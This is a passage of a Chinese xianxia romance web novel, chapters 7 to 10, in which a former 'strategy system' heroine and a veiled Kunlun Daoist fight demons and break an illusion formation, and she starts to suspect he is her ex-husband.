《离职攻略系统后》
7. 鬼影杀机
朝玟看见了他的眼睛。
眼型是狭长的凤眼,下眼帘却略圆润,锋利不足,温润有余,和他清冷的语调反差十足。
是完全陌生的一双眼。
但是,朝玟在看见的一瞬间,依旧控制不住的在脑海里闪过了沈修慈的脸。
可这是没道理的。
她轻轻闭上眼缓了缓,否定了心中那个起起伏伏的疑虑。
仙域正是多事之秋,他没有理由在这个时候离开昆仑,也不会离开昆仑。
而岑守心虽不知是何来历,但他有沈修慈给的持秘文书,又来自昆仑殿,行事作风和他有几分相似也无可厚非。
而且,她也清楚,沈修慈过去和她虽是夫妻,但并没有什么感情,就算是他还记得她,也不可能来找她的。
是她杯弓蛇影,反应过度。
“这是魔域的蝣鬼。”
岑守心还保持着半揽着她的姿势护着她的身体,跟她解释,只是无论是手掌还是身体都和她保持着距离,没有接触分毫。
“你惧怕什么,不愿面对什么,它便以百倍展示在你面前,如果能够击破恐惧,就有破解之法。”
伴随着岑守心的声音,狰狞的魔气扩散整间屋子,犹如对待唾手可得的猎物,魔物向他们缓缓逼近,还发出声声听不清晰却异常阴森的呓语。
岑守心又问道:“所以你看到了什么?”
梦中的事她不好和岑守心多说,朝玟平定心绪,看着他撒谎道:“我也不太记得了。”
蝣鬼这种东西,她知道。
它生于魔域最污秽的沼泽,离开魔域中魔气的供养,很快就会死去,因此它们游荡到人界后,便专门以人充满恐惧的血肉为食,作为魔气的替代。
为了获得和魔气相似充满恐惧的血肉,它会在杀死人之前,用幻术激发出人心底最深的恐惧。
朝玟着了它的幻术,已经被它视为了盘中大餐。
它庞大的脑袋黑漆漆的堵在门后,死盯朝玟,魔气贪婪的在空中扭曲,要不是岑守心在一旁颇为棘手,恐怕它就要扑上来将朝玟变成口中的一团血雾。
只是它注定是吃不到了,朝玟还不至于被它的这点吓唬吓到腿软。
而且梦中的那些,对现在的朝玟来说,根本就算不上恐惧。
顶多……算是心理阴影。
蝣鬼还在用呓语恐吓朝玟,让她感到很不爽。
朝玟摆脱系统后,已经不想再听到任何有关那人的事,此时听到这魔物刻意阴惨的念叨,只想一拳把它头打爆。
“有道是日有所思,夜有所梦。”看着蝣鬼不断变化的脸,朝玟冷冷一笑道:“只是在这蠢物恐怕不知道,这人白天思虑的事,不一定就是在意的。”
岑守心说。
“是为昆仑悔婚吗?”
朝玟避而不答,对岑守心笑:“这蝣鬼忌惮你,不敢靠近,想必道君修为高强,在这魔物的实力之上,就算是不击其弱点,道君也有办法对付的吧?”
岑守心不否认,“虽能应对,但攻其弱点,损失最低。”
意思就是,只有从弱点突破,才是上上之策。
只是梦中的内容实在是不好启齿,朝玟只得又睁着眼说瞎话,叹气道:“我实在不记得了。”
岑守心顿了半晌,又道:“仙域有规矩,我不可轻易在凡人面前拔剑。”
朝玟笑而不语,和他隔着幕篱对视片刻,面上浮现恍然。
“原来是我影响道君发挥了。”
她认真道:“那我从窗户跳下去,道君您将这魔物斩了怎么样?”
岑守心:“这里是二层。”
“我能跳。”
“你是凡人,会受伤。”
朝玟跃跃欲试:“不会,出门在外,我还是有点实力的,道君信我。”
岑守心沉吟片刻,朝玟只对着他笑,笑容带着一种安心,最后,他妥协道:“你如今身体情况如何,可还能驾车?”
朝玟歪头感受了一下,身体轻盈,已经恢复好了,没有任何不适感。
她点点头道:“没什么大碍。”
岑守心又沉默了数秒,放出神识感知了一下周遭。
再开口,他语气带了些凝重。
“四面八方都有魔物汇聚,再待下去,魔族就会把这里占领,对我们不利,更会影响这里的安定。”
岑守心斩下一波魔气,在蝣鬼的尖啸中,推朝玟到窗边沉声道:“你去驾车,我们离开这里。”
朝玟快速点点头,她站上窗沿,快速估计了一下落地的距离,就从窗户上一跃而下。
……
魔气遮天蔽日,将月亮都染成了灰色,朝玟往马车的方向快速奔去,途中回头看了一眼。
只见驿站的屋檐已经被魔物巨大的触足挤爆了,房屋的碎屑之中,一抹皎洁的雪色凌空跃起,分外显眼。
在隐晦的月光下,岑守心跃起到空中,他头顶的幕篱被蝣鬼绞掉,黑发和衣袂翻飞。
他手握利剑,剑刃闪着寒光,像是明月的清辉。
朝玟扭着头睁大眼,努力想要看清他的脸,可是太远了,也太暗了。
只见他挥剑,没用什么招式,几道闪电般雪亮的剑光斩下,蝣鬼发出凄厉的尖叫,戛然而止后,只余下屋顶空洞洞的一个大洞和满处的污渍。
斩杀蝣鬼,只在瞬息之间。
果然,他的实力,远在这魔物之上,解决这东西对他来说不算难事。
朝玟心中略感遗憾的想。
好不容易幕篱掉了,怎么依旧看不见脸呢?
驿站之内,不见傍晚的热闹,停靠的马车已经寥寥无几,能看见的只有一匹赤云驹,还有两三辆没有套马的空座。
朝玟方才破窗时,一旁的杂货铺也没有点亮灯火,黑漆漆空落落,牌匾暗淡,好像从未有人在里叫卖过。
黑夜吞噬光亮,也让驿站之中的人全部不翼而飞。
朝玟感到古怪,只是此时也无暇顾忌其他,她赶到马车旁边时,闻讯而来的魔物也从四面八方赶到了。
此地位属方国,背靠神旋府,但凡发现高阶的魔物,必会被灵闻阁追杀殆尽。
故而虽然魔物纷纷汇聚而来,但也都是一些不入流的货色。
朝玟赶到马车边,一手掐死一个妄图爬上车轮的魔物,乌漆嘛黑的蜘蛛吧唧一声在手中炸成渣,朝玟嫌恶的甩了甩沾满污渍的手,想要在衣服上随便擦一擦,却被人捉住了手腕。
朝玟回
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头,岑守心又恢复成了初见的模样,幕篱的白纱飘飘,修长而带着薄茧的手指在她的手腕处一触即分,施了个清洁咒。
“魔物污秽,沾多了会影响人的心智,莫要往身上擦。”
朝玟揉了揉手腕,小声道:“……哦。”
说完,她在心里腹诽:看着轻飘飘的一个谪仙,手劲儿可真大。
朝玟掐死了两个,还有魔物源源不断的爬上来。
一道剑气让妄图靠近的魔物全部炸成齑粉,岑守心衣摆纤尘不染,站在原地不动。
朝玟牵起缰绳,疑惑道:“道君不走吗?”
岑守心道:“不用走了。”
朝玟:“嗯?”
岑守心注视着朝玟身后,静立不动。
朝玟随着他的视线看过去,还未看见人影,便听见了一道声音。
那声音的主人怪笑道:“的确不必走了。”
“道君金尊玉贵,北境苦寒之地,怕是容不下你。”
黑鸦振翅而降,落在树梢,那双血红色的眼睛仿佛染血的赤日,睥睨树下的二人,在秋分时节的的山峦间,万叶金黄之中,显得突兀而阴森。
朝玟皱眉,不爽道:“装神弄鬼的,出来说话。”
“哈哈哈,果真是无知者无畏。”那声音震荡回响,饱含轻蔑:“踏入了我的幻阵,你一个凡人,看你能全须全尾活到几时。”
朝玟闻言,低头看向地面。
不知不觉之间,此地已经形成了一个阵法,封闭生门,朝玟和岑守心站在死门之中,步步杀机。
这装神弄鬼的东西,还有几分本事。
朝玟感到有几分棘手的皱眉,看向身边的岑守心。
这一处阵法瞒不过他的眼睛,他应该早就发现自己走进了杀阵中,只是依旧漫不经心,背脊直挺,镇定自若。
他察觉到了朝玟投来的目光,对朝玟道:“没事,放心。”
朝玟眨了眨眼,他一句话,便让她安定了下来,肩骨也不自觉的放松,点了点头。
这一句话,也让她感到几分怔忪。
已经,很久没人站在她的前面说过这种话了。
那乌鸦嗤笑:“死到临头还这般有骨气,真让人敬佩。”
岑守心:“谁派你来的。”
魔物缓缓道:“将死之人,何必问那么多呢。”
话音落地,杀阵猛地启动起来。
朝玟只感觉到了一阵风呼啸而来,岑守心侧身挡在她的面前,将那凌厉的罡风用剑意隔开。
魔气如毒蛇发动攻势,顷刻便扑过来,但也都被挡在朝玟和岑守心脚边两尺之外。
一些被寄生的毒物突破剑意构筑的结界钻进来,也被朝玟一脚一个踩得稀巴烂。
朝玟挑起眉头嘲讽道:“你的杀阵,似乎也不过如此。”
她双手抱胸,冷笑道:“如果只有这点本事,还是收敛一些口气为好,免得自取其辱。”
那魔物发出刺耳的笑声:“能抵挡杀阵又如何?”
它的语气忽转,阴沉地对岑守心说:“道君修为深厚,这些区区开胃小菜,自然无法满足您的胃口。”
“您在这里待了这么久,就没有发现这里和之前有什么不同吗?”
8. 仇人相见
夜空中,月亮的最后一缕光辉悄然隐去,取而代之的,是一对血红色的弯钩状鹰眼。
在这双眼睛的照耀下,整座山都被披上了一层红晕,地上的金盏花在诡异的光线中,仿佛随时会滴下鲜血。
原本在身边一直安静的赤云驹,突然双目鲜红,化为模样狰狞的魔物,以迅雷不及掩耳之势,用尖牙利齿咬向朝玟。
朝玟吓了一大跳,向后退了两步,这才堪堪躲开攻击。
岑守心的剑气迸发射出,将魔化的赤云驹控制住。
好险……
朝玟的背后冷汗淋淋。
剑气收束,赤云驹发狂的身形犹如黑雾被搅散,岑守心将朝玟拉到身后道:“是幻境。”
朝玟惊讶道:“什么时候……”
岑守心解释:“这阵法和幻境相辅相成,恐怕就在踏进阵法的那一刻,我们就已经中计了。”
那声音夸张笑道:“哈哈哈,道君不愧师出昆仑,反应的还不算太慢。”
“只是已经晚了。”
天空中那双诡异的眼眸闪烁了一下,朝玟并未感到异常,而岑守心却明显出现了不适。
他身体微微摇晃,手背上青筋凸起,呼吸也出现了短暂的紊乱。
朝玟想要上前扶他,却被他用手挡下。
她手顿在半空,担忧道:“还好吗?”
“并无大碍。”岑守心稳住身形,正了正幕篱,淡然道:“只是修为暂时被压制了。”
似是为了印证他的话,他构筑的结界在下一波魔物的攻势中轰然碎裂。
没有结界护体,二人瞬间暴露于危机四伏的幻境中。
朝玟和一道魔气凝结的飞刃擦身而过,她瞳仁中闪现出岑守心的幕篱,对方拉住她的手腕,将她带进怀里。
朝玟还未反应过来,脸就已经贴在他的衣襟上。
她鼻似乎隐约闻到了一缕来自昆仑之巅的新雪气息,若有似无。
岑守心带着她躲开攻击,肩上被划破,渗出了血。
他有些狼狈,但依旧保持着从容和细致,对朝玟道:“朝姑娘,事出从急,得罪了。”
朝玟保持着姿势不动,小幅度快速摇了摇头:“我不介意不介意,道君安心应对,不用太在意我。”
见岑守心受伤,那声音略带得意轻蔑的冷哼:“亏得老朽以为,你是什么厉害货色,也不过如此。”
头顶,岑守心不理会他的嘲讽,沉稳开口道。
“阁下迟迟不肯显露真容,是做贼心虚吗?”
那东西冷哼,“要说起做贼,你们仙域,尤其是昆仑殿,谁比得上你们?”
那声音语调古怪道:“你们那位君上,昔日战神沈修慈,他窃取权印,踏着我魔族的尸骨称王,如今自食恶果,日子很不好过吧?”
“谁才是窃贼,你心知肚明。”
岑守心说完,又挡下几道漆黑飞羽,羽毛铁钉一样钉入地面,边缘沾血,留下刺目的寒光。
只是他毕竟修为被压制,没了剑气做武器,一味防守,难免力不从心。
他又添新伤了。
朝玟默默听他们的对话,眼中若有所思。
看来北上寻妻不过是一个说辞,从魑魅手中拿回某样东西才是他的真实目的。
“你们这些仙域的人,真叫人讨厌。”那声音幽幽,语气森冷。
“本想直接了结你,还有你旁边的那个废物情人,但我现在改主意了。”
朝玟突然被点名,第一反应皱起眉头,紧接着看向岑守心。
这鬼东西,不仅说话难听,眼神也不好。
他们一个是仙君,一个是凡人,她们哪里像能扯上关系的样子?
但凡和仙域扯上关系,朝玟就觉得怪晦气的,她看向莫名岑守心,也是怕他听到后不悦,但好在,他并未太在意。
岑守心搭在她腰间的手纹丝不动,没有任何表示。
那魔物冷嗤:“我倒要看看,你还能保持这样高高在上的姿态到何时。”
又是一阵排山倒海的攻势,朝玟被他保护在怀里,见他应对得吃力,小声建议道。
“要不,道君出剑试试?”
岑守心并未回应。
朝玟知他心中有顾虑,况且他刚才也说过不可轻易拔剑,又说:“要不,让我试试。”
她摘下一只耳坠,圆润的青玉在手中延长,顷刻就化成了一柄尖锐的刺刀。
朝玟将刺刀在掌心翻转,将利刃朝外,握住刀柄,眼眸神采奕奕,扬唇一笑。
她道:“灵闻阁不养闲人,道君不妨松开我,我去会会他。”
……
在别人所制造的幻境之中,万物皆是敌人。
魔物浪潮一样朝她涌过来,朝玟手持双刀,砍瓜切菜一样,来一只杀一只。
魔物杀完了,树,荆棘,甚至桌子椅子都仿佛成了活物,朝他们攻击过来,她和岑守心一人应付一半,地面龟裂出巨大的裂缝,巨大的尖刺拔地而起,空中刮起狂风。
那幻境中的存在为了置她们于死地,不惜将整个空间搅得天翻地覆,扭曲成一片混沌。
朝玟没有修为,这个幻境克制修为的能力,对她不起作用,再加上无论她怎么打,都有岑守心在身边保护她,跟她兜底,一时间竟然占了上风。
那躲在暗处的东西阴恻恻道:“没想到你一个凡人,还有几分本事。”
她一脚踢开脚边的魔物尸骸,“还不现身吗?躲躲藏藏,都说我是废物凡人了,你不会连我一个凡人也怕吧?”
魔物不屑:“你区区肉体凡胎,还能撑多久?”
朝玟笑了笑,她是撑不了多久了。
她很久不动手,再加上在京城的这段时间又过得太舒服,刚才这一套大动作,已经透支了几乎全部的体力。
幻境在那声音有意的控制下重构,眼看又要经历新一轮的战斗,朝玟甩了甩刀上的脏污:“你也不要太嚣张。”她保持着走位,语气带点狠意道:“等我破了这幻境,看不扒了你的皮。”
这东西虽然不露面,但朝玟已经对这个人是谁在心中有了猜想。
搞不好……曾经和她还是个老熟人呢。
……
说起这位熟人,又是她为了攻略沈修慈而经历的一段往事。
朝玟以前在阵法上吃过亏,曾经恶补过一段时间有关阵法的知识。
这阵法她曾经遇到过,也是在破解的过程中,她想起来很久以前,在她还是攻略者的时候,和这类似的东西交过手。
那时候她刚和沈修慈成婚不久,正愁着收集好感该从哪里下手,恰逢人界北境动荡不安,朝玟心想,若能助沈修慈平定北方乱局,必能赢得他的青睐,进而提升好感,便主动请缨。
朝
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玟本想做好准备再去,可系统左一言右一语,说这是攻心组的世界,反派都降智,就这样一直在耳边念叨。
朝玟不知道怎么就信了,领着一众仙士浩浩荡荡地去,却险些铩羽而归。
北边割据一方的魑魅想要复兴大业,但魔主被镇压,复兴遥遥无期,便采取极端,炼化了一整座城的人,做修炼的供给,想要自己称王。
这魑魅的手下,有一个无头的傀儡鬼,精通幻境和杀阵。
朝玟便是在他的手中吃了大亏,陷入了他的幻境之中,被生生折磨了许久。
她有系统,能暂时屏蔽痛觉,待她破了幻阵,带人将魑魅绞杀之后,痛觉屏蔽失效,她便一晕不起。
后续的事情她记不太清了,后来听人说,她回去都是被人抬回去的,回到昆仑时,神魂都散了一半,各种灵丹妙药如流水一样往昆仑殿里送,这才保住了她的性命。
本以为再怎么说,她好歹是把北方给平了,这样一来沈修慈也能感到欣慰,可是想象很美好,现实很骨感,虽然她成功的回来了,但沈修慈的好感度却并未如预期般提升多少。
直到现在,她仍对那次受伤昏迷后醒来时,沈修慈那复杂的眼神记忆犹新。
他坐在她的床边,微垂眼眸。
沈修慈生得一双很好看的眼睛,眸色如墨,瞳仁澈透,眼睫密致。
第一眼是漂亮,细看觉得精致,继续凝视,那双眼睛又如寒星般锐利,不可逼视。
他冷冷地注视着她,窗外的侧光落在他的眸里,像是凝固极亮的碎冰。
朝玟觉得,他在生气。
只是她那时将醒,沈修慈并未和她说什么。
她开了痛觉屏蔽,对自己身体具体受了多重的伤没有什么概念,后来才从别人口中听说,她当时差点在幻境里被那无头傀儡鬼折磨死。
全身二十多处骨裂,没一处好皮,刀伤爪伤烧伤各种伤,还被刨开腹腔,挖去了一根肋骨。
被生挖出的空洞,沈修慈用昆仑至宝——昆山灵玉来弥补,只是到底是异物填充的,从此以后,胸下三寸处,总是隐隐作痛。
在知道自己的情况后,她也理解了,为什么沈修慈好感丝毫不涨,后来对她的态度也不冷不淡。
她要是真凄惨的死在那里,还是刚刚大婚后没多久就死掉,沈修慈没法和蓬莱交代,更没办法和天下人交代。
怂恿朝玟北上的系统,也许是知道自己捅了大篓子,自朝玟醒来之后,一声不吭。
朝玟不怪它,它是攻心组的恋爱系统,误判了这个世界的凶险,也情有可原。
只是朝玟经此一事,也对它的业务能力有了更加客观的认知,以后不会再盲目相信它了。
蓬莱王姬被魔物差点打死,这可是相当丢面子的事情。
为了以后再也不要不再任人宰割,也为了维护自己的尊严,朝玟伤好之后就疯狂补习阵法这方面的知识。
……
她如今虽然已经变成了凡人,可是对付这个阵法,却不在话下。
幻境之内,朝玟看似在无序的乱走,但实际上她脚下的走位,每一步都走在了破解杀阵的关键上。
朝玟暗咬后牙。
没想到啊,她都摆脱系统了,居然还能够和主线剧情里的鬼东西碰上,还又让她进了曾经栽了跟头的幻境里。
真是冤家路窄。
9. 昆山灵玉
只是由于她已经不是攻略者了,这一次的变化还挺多的。
但剧情的总体不变,北方依旧发生了动乱,只是上一次是她前去镇压北境,而这一次没有她主动请命,前来的人便换成了岑守心。
朝玟的脚尖落在最后一个破阵的点位上,无穷无尽的魔物瞬间溃散,杀阵化解。
就是现在。
她立刻直视天上的血眼,将刺刀用力掷出——
岑守心白衣猎猎,站在一旁单手掐诀,为空中的刀柄加了一道剑意。
碧绿的尖刺小巧锐利,势如破竹,刺向天空中狰狞硕大的眼睛。
伴随着一声吃痛的惨叫,天空龟裂成碎片,幻境顷刻破解。
天空恢复了本来的模样,明月当空,夜色寂寥,山风带着凉意,将朝玟额前的发丝吹拂到身后。
刚才的打斗已经耗尽了她的力气,她眼眸略显涣散,双手攥着刺刀,呼吸急促站在原地。
幻阵消散之后,在中央的阵眼里一直装神弄鬼潜藏的东西,终于露出原形。
一个全身皮肤甘青,穿一身破旧黑金织锦的宽袍的人出现在阵眼里,果然是将她差点折磨死的那一只傀儡鬼。
只是那东西本该空空如也的脖颈上,不知因何多出来了一颗非人的头。
那颗头奇怪的像是缝合而成,从额头一直到下颌,长满了杂乱的兽毛鸟羽,面容更是狰狞,两颗鹰眼,一只鲜血淋漓,本应是人鼻之处,却长了一根鸟喙一样的肉嘴,东拼西凑看着骇人。
朝玟面无表情的看着他多出来的那颗脑袋。
从昆仑悔婚,到岑守心提前北上镇压魑魅,再到无头傀儡平白多出的一颗头。
系统启动时间回溯不过才过去短短三个月,就出现了这么多和上一周目有出入的细节。
这到底是系统那边出了差错,还是……和她有关。
傀儡鬼一手捂眼,从地上站起,甘青的手绘满密密麻麻的黑色符文,伸出食指,弯钩一样尖长的指甲指着朝玟。
“你……”
“你什么你?”
一想到自己曾经落在他手里的经历,朝玟看他还能站起来,并且还只瞎了一只眼睛,就感觉心中冒火。
见他还能拿手指着自己,就立刻怼了回去。
要不是现在的情况,朝玟不适合和他清算新仇旧恨,她定要上前给他两拳,把他这颗烂头给锤烂,来报当初断骨之仇。
傀儡鬼怎么也想不到,他杀人无数的幻境和阵法居然被一个凡人轻松破解,让他无法向上交差,还弄废了他的一只眼睛。
他直勾勾盯着朝玟阴沉道:“你这个凡人……竟然,竟然敢坏我大事。”
岑守心两步走上前,站在她半步之前。
他面对傀儡鬼,问道:“驿站里的人呢。”
虽已经回到了现实,但驿站之中,依旧没有见到任何人的影子。
朝玟想到之前看见空荡荡的铺面,心中霎时闪过一丝不好的预感。
傀儡鬼那张诡异狰狞的脸上勾起狞笑。
“碍事的蝼蚁,当然是都杀了。”
只听傀儡鬼惨叫一声,血痕从腰上位置迸溅而出,岑守心指尖剑意闪烁,又冷声问。
“你主人要你如何复命。”
傀儡鬼向后倒坐而去,一只手背向身后,那狰狞的脸上浮现出笑容。
“主人千秋大业,岂容你们来搅和。”
他那颗头,实在是不好看,尤其丑陋不说,血眼鸟头又时时狰狞非常,笑起来叫人不寒而栗。
他挥出身后藏着的手,从地上一跃而起,扑向岑守心,大笑道:“自然是……不是你死,就是我亡!”
……
狂沙肆虐,朝玟迅速以手遮目,但沙石依旧无孔不入,刺痛感让她不得不紧闭双眼。
该死,又是幻术。
她在心中暗骂魔族奸诈,耳边却已响起激烈的打斗声,速度很快,金属交击的铛铛声不绝于耳,时不时急促的发出一声刺耳的刮擦声。
朝玟急慌喊道:“道君?”
岑守心从幻境出来后,修为恢复,有护体剑意加持,刀枪不入,又是当啷一声,他挡开傀儡鬼的鹰爪,快速回道:“无事,躲好,别靠近。”
朝玟睁不开眼睛,只能听声辨位的艰难闪躲。
傀儡鬼和岑守心缠斗数十招,依旧未能伤他分毫,眼中划过阴狠之色,当即调转目标,攻向了他身后没有还手之力的朝玟。
只是,岑守心快他一步,将他一脚踢飞出去。
傀儡鬼向后飞出的瞬间,趁机从袖中放出一道黑雾,其中夹杂几根漆黑的长钉。
在视线难以分辨的雾气里,岑守心身形灵动,在空中后仰翻身,堪堪躲过这道阴损的招式。
然而,那傀儡鬼见孤注一掷的绝杀之招,在未能击中岑守心后,竟直奔朝玟的心口而去。
朝玟双目模糊,根本来不及反应,只能眼睁睁看着那枚漆黑中泛着血红的钉子向自己疾射而来。
岑守心无暇他顾,立刻调动内力,瞬间移动至朝玟身前。
由于移动速度过快,他的幕篱随风飘落。
白纱在风中翻飞,轻飘飘的落在一旁的地面上。
朝玟视线朦胧,与那双因紧张而瞳孔紧缩的眼睛相对。
风沙停滞,傀儡鬼挨了他十成十的一记重击,无力再维系幻术,被踢飞后,便呕出一口黑血,倒地不起。
岑守心伸出手,想要将如箭矢飞速射向朝玟的长钉抓住,却晚了一秒,生生错过。
那漆黑的钉子紧贴着朝玟心口的皮肉,似乎下一刻就会贯穿她的心脏。
但到了生死的这一刻,朝玟什么也感觉不到了,她的视线全被岑守心额前的一点红印攫取,唯一的本能,便是死死的盯着那一枚印记。
岑守心的容貌,和沈修慈是完全不像的,朝玟也不知道之前见鬼的感觉是从何而来。
他的骨相柔和,是写意水墨,淡处有浓烈。
沈修慈则精致有余,如工笔雕琢,周正而盛艳,但是两人的眉心,却有几乎一样的印记。
那是一道竖立的细痕,色泽如血,仿佛昆山九天上熊熊燃烧的凤凰尾羽,清冷白雪上点燃的一团炽烈火焰。
朝玟曾经也有过一枚这样的印记,但只在大婚的当天,刚将鲜血点在额前时,出现过一瞬间。
之后就沉沉的隐没在她额前,犹如沉重之物没入水中一般沉入皮肉,印刻在了灵骨之上,成为她和沈修慈之间夫妻关系的的证明和连接。
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这是同心印。
只是不知道为什么,他的同心印没有消失,也没有刻入灵骨,而是留在了额前。
不深不浅,犹如浮木。
……
当朝玟的视线终于恢复清晰,她发现自己仍旧完好无损地站着,那颗致命的钉子紧贴在她的心口,却再也没有前进半分。
她的胸口散发出淡淡的月白色光芒,似乎有一股无形的力量,形成了一道无法逾越的屏障,使得那枚邪钉无法再向前推进。
随后,那钉子从最尖锐的尖端开始,一寸寸地碎裂。
一颗看似普通的石头在朝玟的心口闪现,还不叫人看清,就又悄然隐没。
只是朝玟对这东西很熟悉,一眼就认了出来。
她在看见的瞬间,面露恍惚。
昆山灵玉,当初沈修慈用来修补她缺失肋骨的材料。
这东西,竟然跟着她,又到了她现在的身体里。
岑守心站在她的面前,他也看见了那枚灵玉,朝玟的视线落回他的身上,紧张起来。
这东西是昆仑的至宝,他该不是认出来了吧?
但是这东西太珍贵。一般的是无缘得见的,但是他显然是亲信,见到过也说不好。
岑守心他在朝玟的心口处看了半晌,像是不认得一样,旋即转身,来到傀儡鬼的跟前。
傀儡鬼脸色乌青,白眼上翻,看样子已经断气。
朝玟见他没问,暗自松了一口气,跟过去探头道:“他死了吗?”
“神魂出窍,逃了。”
岑守心说完,捡起落在不远处的幕篱,也许是觉得已经暴露了真容,他只是捡起来拿在手里,没有戴上。
朝玟一时无言,心中遗憾。
逃了?这种滥杀无辜之辈,死不足惜,逃跑真是便宜他了。
岑守心:“他回去复命,恐会招来更多的魔族。”
“此地不宜久了,也不易再找驿站留宿。”
他将幕篱的白纱在手中折叠整齐,语句稍顿,漆黑的眸子看向朝玟,缓缓道。
“等出了关,便找个临水的地方停下,再修正一番吧。”
朝玟点点头表示赞同。
岑守心被魔族忌惮,所到之处必招来魔物攻击,带来腥风血雨,对无辜的人来说,是一场无妄之灾。
出关后再修整,也正合她意,方才在傀儡鬼杀阵中的战斗,也让她有些累了。
朝玟在原地站了一会儿,将刺刀又变成青玉坠,戴在耳垂上后,就略显沉默的去牵马。
岑守心在她牵马的时候,离开了一会儿,再出现在驿站门口时,手上多了一样东西。
是朝玟在杂货铺置办的包袱,里面装着衣服和干粮,她放在房间里,方才逃命顾不上,岑守心还记得,又给她取回来了。
朝玟惊讶伸出手,“谢谢……”
她接过包袱,淡淡讪笑:“还是道君心细,今晚事太多,我自己都差点忘了。”
岑守心轻轻嗯了一声,又将他的幕篱递给朝玟。
“夜风凉,吹了会头痛,你要驾车,不妨戴上这个。”
朝玟愣住,没有立刻回应,他语句一顿,又道:“虽不抵什么,但总比没有好。”
说完,他便静静地凝视着她。
10. 故人是谁
岑守心身材修长,乌黑的发丝被银饰束起,露出光洁的额头,眼眸微垂,表情冷淡。
他都这么说了,朝玟只能收下这份好意。
“……多谢。”
她笑着接过,在岑守心转身上马车后,笑意渐消。
不愧是昆仑殿的人,这样说少做多的个性,和某人真的很像。
意识到自己又产生了杂念,朝玟自嘲一笑,将这想法驱逐出脑海。
……
秋风萧瑟,马车停靠在林边,一夜之间,座上落了不少金黄的落花,带着夜露与清幽的香气。
朝玟将琐事处理完备,月上枝头,夜色最深最浓之时,赤云驹又踏上了旅程。
她带着幕篱,被风吹的感觉果然减轻了许多,从外看似透不进光的一片白,从里面看向外面,居然清晰无比。
看似普通的幕篱,用的竟然是南海鲛纱所制,不仅隔风,还一点都不憋闷。
朝玟戴上,新奇了一会儿。
今晚危机的插曲,来得快,去得快,就仿佛她轻轻拂去车上的落叶,一切动荡都被夜的宁静所吞没。
只是,朝玟总是觉得,自她暴露昆山灵玉以来,岑守心对她的态度便有些微妙了。
但具体是一种什么感觉,她也说不上来。
所以昆山灵玉,他究竟有没有看清?要是看清了,又认不认得?
朝玟驱使赤云驹,眉头轻蹙,忐忑的咬了咬下唇。
岑守心当时神情自若,表情如常似乎并未认出,可是他的目光又着实停顿了很久。
要是不认得,那她也不用多做解释,但是要是认出来了却隐而不发,那朝玟可就琢磨不出他的用意了。
要不问一下?他究竟知不知道那玉石是什么?
朝玟刚萌生了这个想法,下一秒又被她否定。
不行,这不就变相承认了那玉石不简单,到时要是他回去和沈修慈说了这件事,她不就暴露了?
可是不问,又心里不踏实。
朝玟想来想去,心里一团乱麻,于是这一段路程,朝玟揣测着岑守心的心思,倒是出乎意料的安静。
她忐忑了一路,心思百转,想着要是岑守心突然问起昆山灵玉,她该如何回答。
但是直到朝玟将马车停靠,马车内,都没有传出来半个字。
朝玟身累,心更累。
所以他到底知不知道昆山灵玉啊?
……
夜深时,赤云驹闯入一片竹林,临水的雾气在林中萦绕,竹枝不青,雾也不清。
朝玟将马车停到水边,体力和心力损耗太大,有些饿了,便蹲在岸边啃有些干的饼。
饼虽然干巴却很香,再看深夜的水面,有浅浪打岸,芦苇里还有三两点萤火飞舞,有美景慰藉,朝玟短暂的放空了大脑,双眼空空的看向远处。
岑守心悄无声息的走过来,站在一旁,和她看了一会儿薄雾朦胧的水面,再她三步开外,倚靠着竹枝坐了下来。
朝玟披一件翠绿的绵绸外袍,看他一眼,好不容易放空的心又纷乱起来,默默啃饼,二人一坐一蹲,静谧无言。
“朝姑娘。”
默了半晌,岑守心喊了她一声。
“嗯?”
朝玟应道,深深地吸了一口气,然后缓缓将其全部释放,心中涌起一股复杂的解脱之感。
终于要问她了吗?
就当朝玟以为他会质问她时,岑守心仰着头,眺望远处道。
“今夜月色不错。”
朝玟转头看他,感到意外。
他的眼眸如同被烟雾笼罩的寒水,凝视了一会儿河面,又抬眸看向天空。
天上的明月圆润饱满,宛如一枚悬挂的玉盘,再过不久就是中秋佳节,此刻赏月,确乎是件雅事。
朝玟无心赏月,盯着他的侧脸。
怎么不问她有关昆山灵玉的事?
她无声的又叹一口气。
算了,多思无益,见招拆招。
朝玟斟酌道:“……月色确实不错,这月亮虽被雾气遮掩,但朦胧之中,别有一番美感。”
岑守心声调平缓道:“昆仑殿终年白雪,日光下照时,视野总是清澈透亮,很少有机会见到这朦胧之景。”
朝玟在昆仑殿呆了十年,心中颇为认同的点点头。
只是,有昆山灵玉暴露在先,她可不敢认为岑守心突然提及昆仑,只是有所感慨。
她双手握着饼,小心翼翼地咬了一小口,然后谨慎地回应:“听闻昆仑的雪景是三界最美的,雪花飘落时,形态万千,美不胜收。”
“若是年复一年,日复一日,终会让人感到厌倦,对吗?”
他低头,看向泛着波澜的水面,又转头,清透的眸光落在朝玟的身上,投来一道安静的注视。
朝玟一时语塞,只见她侧脸的角度,眼眸轻轻流转。
河水的波涛轻轻拍打着岸边,发出三四声清脆的声响,她终于开口。
“不会的。”
“只应天上有的绝景,人看一眼就该醉了,看久了,便是沉醉经年,又怎会腻?”
尤其是昆仑的最高处。
朝玟如今回想起起那人的回眸,以及窗棂外那红梅与白雪相映的景象,依旧感到惊心动魄。
岑守心无声微微一笑,虽没什么明显的笑意,但是转眸之间,眉眼变得柔和。
“朝姑娘喜欢饮酒?”
朝玟点点头,勾唇道:“酒可是好东西。”
“平时也喝?”
“平时也喝。”
岑守心问:“今晚呢,是借酒消愁?”
“……算是吧。”
朝玟只要感到郁闷,就想要喝酒。
她本想偷偷的喝一壶,不被岑守心发现,喝完就睡,但奈何魔物夜袭突生变故,被岑守心看到了已经空了的酒壶。
从这事开始,事情就朝着不可控制的方向发展了,这一晚的精彩,要是告诉京城千里记行旁边的说书人,能说上三天三夜。
朝玟游离的想:也不知道要是告诉了那说书的,能挣得几吊钱。
岑守心在现在问她是不是借酒消愁,肯定不是关心她的心情,而是关心她为什么会借酒消愁。
这可不好回答,要是老实说了,她是因为听到昆仑悔婚的消息而发愁,肯定会引发他的追问。
那不行,她答不上来的,一定不能让岑守心继续追问。
朝玟思绪陡转,想到京城,一时间计上心头,有了对策。
她蹲得双腿发麻,于是干脆也一屁股坐到了地上,她低头沮丧地说。
“道君有所不知,在接到您的订单之前,我身无分文,无家可归,独自一人在京城打拼。这紫卷订单凶险异常,若是此行有
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去无回……难免有些感伤。”
“不过现在不必忧心了,有道君您这样的高手同行,此行必定安然无恙,顺顺利利。”
岑守心:“无家可归?”
